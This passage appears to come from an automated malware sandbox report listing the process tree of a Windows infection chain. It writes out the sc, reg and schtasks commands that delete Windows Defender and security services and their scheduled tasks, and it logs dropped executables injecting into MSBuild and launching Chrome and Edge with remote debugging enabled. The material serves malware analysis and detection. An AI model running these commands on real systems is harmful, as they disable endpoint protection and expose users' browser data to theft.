        PID:668
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        11⤵
        Modifies security service
        
        PID:1836
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:348
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:4272
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        11⤵
        
        PID:3024
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:4672
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:2492
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        11⤵
        
        PID:2252
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:2064
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:2256
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        11⤵
        
        PID:4860
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:3824
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:5104
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        11⤵
        
        PID:656
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:4752
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:3568
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        11⤵
        
        PID:2696
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:464
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:3588
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        11⤵
        
        PID:1412
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:2748
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:224
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        11⤵
        
        PID:4652
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:3148
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:4492
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        11⤵
        
        PID:3444
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:768
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:4688
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        11⤵
        
        PID:3380
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:416
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:4048
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        11⤵
        
        PID:1588
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:5076
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:4752
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        11⤵
        
        PID:1224
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        11⤵
        
        PID:640
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        11⤵
        
        PID:3888
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        11⤵
        
        PID:224
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        11⤵
        
        PID:3232
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:416
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        11⤵
        Launches sc.exe
        
        PID:3088
      - C:\Users\Admin\AppData\Local\Temp\10352530101\amnew.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352530101\amnew.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:1260
        
        C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
        
        "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
        7⤵
        Downloads MZ/PE file
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1624
        
        C:\Users\Admin\AppData\Local\Temp\10001960101\gron12321.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10001960101\gron12321.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5596
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:6112
        
        C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1724
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        
        PID:5364
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        10⤵
        Uses browser remote debugging
        
        PID:5076
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        11⤵
        
        PID:2636
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1820,i,393493273073470051,11813560600017067073,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=1980 /prefetch:2
        11⤵
        
        PID:6080
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2220,i,393493273073470051,11813560600017067073,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2224 /prefetch:3
        11⤵
        
        PID:6784
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2360,i,393493273073470051,11813560600017067073,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2380 /prefetch:8
        11⤵
        
        PID:7048
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3212,i,393493273073470051,11813560600017067073,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3232 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:7336
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3236,i,393493273073470051,11813560600017067073,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3364 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:7388
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4020,i,393493273073470051,11813560600017067073,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4188 /prefetch:2
        11⤵
        Uses browser remote debugging
        
        PID:7836
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4068,i,393493273073470051,11813560600017067073,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4652 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:8108
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        10⤵
        Uses browser remote debugging
        
        PID:9288
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        11⤵
        
        PID:9332
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1936,i,16098780279725951640,6239456838881238276,262144 --variations-seed-version --mojo-platform-channel-handle=2160 /prefetch:3
        11⤵
        
        PID:1476
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2132,i,16098780279725951640,6239456838881238276,262144 --variations-seed-version --mojo-platform-channel-handle=2128 /prefetch:2
        11⤵
        
        PID:1172
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2184,i,16098780279725951640,6239456838881238276,262144 --variations-seed-version --mojo-platform-channel-handle=2528 /prefetch:8
        11⤵
        
        PID:10016
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3140,i,16098780279725951640,6239456838881238276,262144 --variations-seed-version --mojo-platform-channel-handle=3196 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:10140
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3148,i,16098780279725951640,6239456838881238276,262144 --variations-seed-version --mojo-platform-channel-handle=3224 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:10152
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3984,i,16098780279725951640,6239456838881238276,262144 --variations-seed-version --mojo-platform-channel-handle=3996 /prefetch:2
        11⤵
        Uses browser remote debugging
        
        PID:10720
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4232,i,16098780279725951640,6239456838881238276,262144 --variations-seed-version --mojo-platform-channel-handle=4200 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:11088
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        10⤵
        Uses browser remote debugging
        
        PID:8764
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        11⤵
        
        PID:7844
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        10⤵
        Uses browser remote debugging
        
        PID:676
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        11⤵
        
        PID:6060
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        10⤵
        Uses browser remote debugging
        
        PID:5968
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x2b0,0x7ffec797f208,0x7ffec797f214,0x7ffec797f220
        11⤵
        
        PID:10168
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=2060,i,12632519206028783973,11600201436443768041,262144 --variations-seed-version --mojo-platform-channel-handle=2084 /prefetch:3
        11⤵
        
        PID:8792
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1948,i,12632519206028783973,11600201436443768041,262144 --variations-seed-version --mojo-platform-channel-handle=1944 /prefetch:2
        11⤵
        
        PID:11124
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2524,i,12632519206028783973,11600201436443768041,262144 --variations-seed-version --mojo-platform-channel-handle=2544 /prefetch:8
        11⤵
        
        PID:9648
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3540,i,12632519206028783973,11600201436443768041,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:264
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3556,i,12632519206028783973,11600201436443768041,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:9176
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4216,i,12632519206028783973,11600201436443768041,262144 --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:12120
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4252,i,12632519206028783973,11600201436443768041,262144 --variations-seed-version --mojo-platform-channel-handle=4304 /prefetch:2
        11⤵
        Uses browser remote debugging
        
        PID:11984
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5236,i,12632519206028783973,11600201436443768041,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:8
        11⤵
        
        PID:10416
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5376,i,12632519206028783973,11600201436443768041,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:8
        11⤵
        
        PID:3620
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5088,i,12632519206028783973,11600201436443768041,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:8
        11⤵
        
        PID:13164
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5060,i,12632519206028783973,11600201436443768041,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:8
        11⤵
        
        PID:13296
        
        C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe"
        8⤵
        
        PID:5604
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        
        PID:6000
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        
        PID:5396
        
        C:\Users\Admin\AppData\Local\Temp\10041590101\crypted.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10041590101\crypted.exe"
        8⤵
        
        PID:3380
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        
        PID:2376
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        10⤵
        Uses browser remote debugging
        
        PID:8352
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        11⤵
        
        PID:8416
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        10⤵
        Uses browser remote debugging
        
        PID:2656
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        11⤵
        
        PID:12996
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1868,i,12662757564707727,15229494545406938215,262144 --variations-seed-version --mojo-platform-channel-handle=2592 /prefetch:3
        11⤵
        
        PID:6588
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2240,i,12662757564707727,15229494545406938215,262144 --variations-seed-version --mojo-platform-channel-handle=2228 /prefetch:2
        11⤵
        
        PID:2808
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2060,i,12662757564707727,15229494545406938215,262144 --variations-seed-version --mojo-platform-channel-handle=2616 /prefetch:8
        11⤵
        
        PID:6648
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3136,i,12662757564707727,15229494545406938215,262144 --variations-seed-version --mojo-platform-channel-handle=3216 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:7304
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3144,i,12662757564707727,15229494545406938215,262144 --variations-seed-version --mojo-platform-channel-handle=3228 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:7236
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
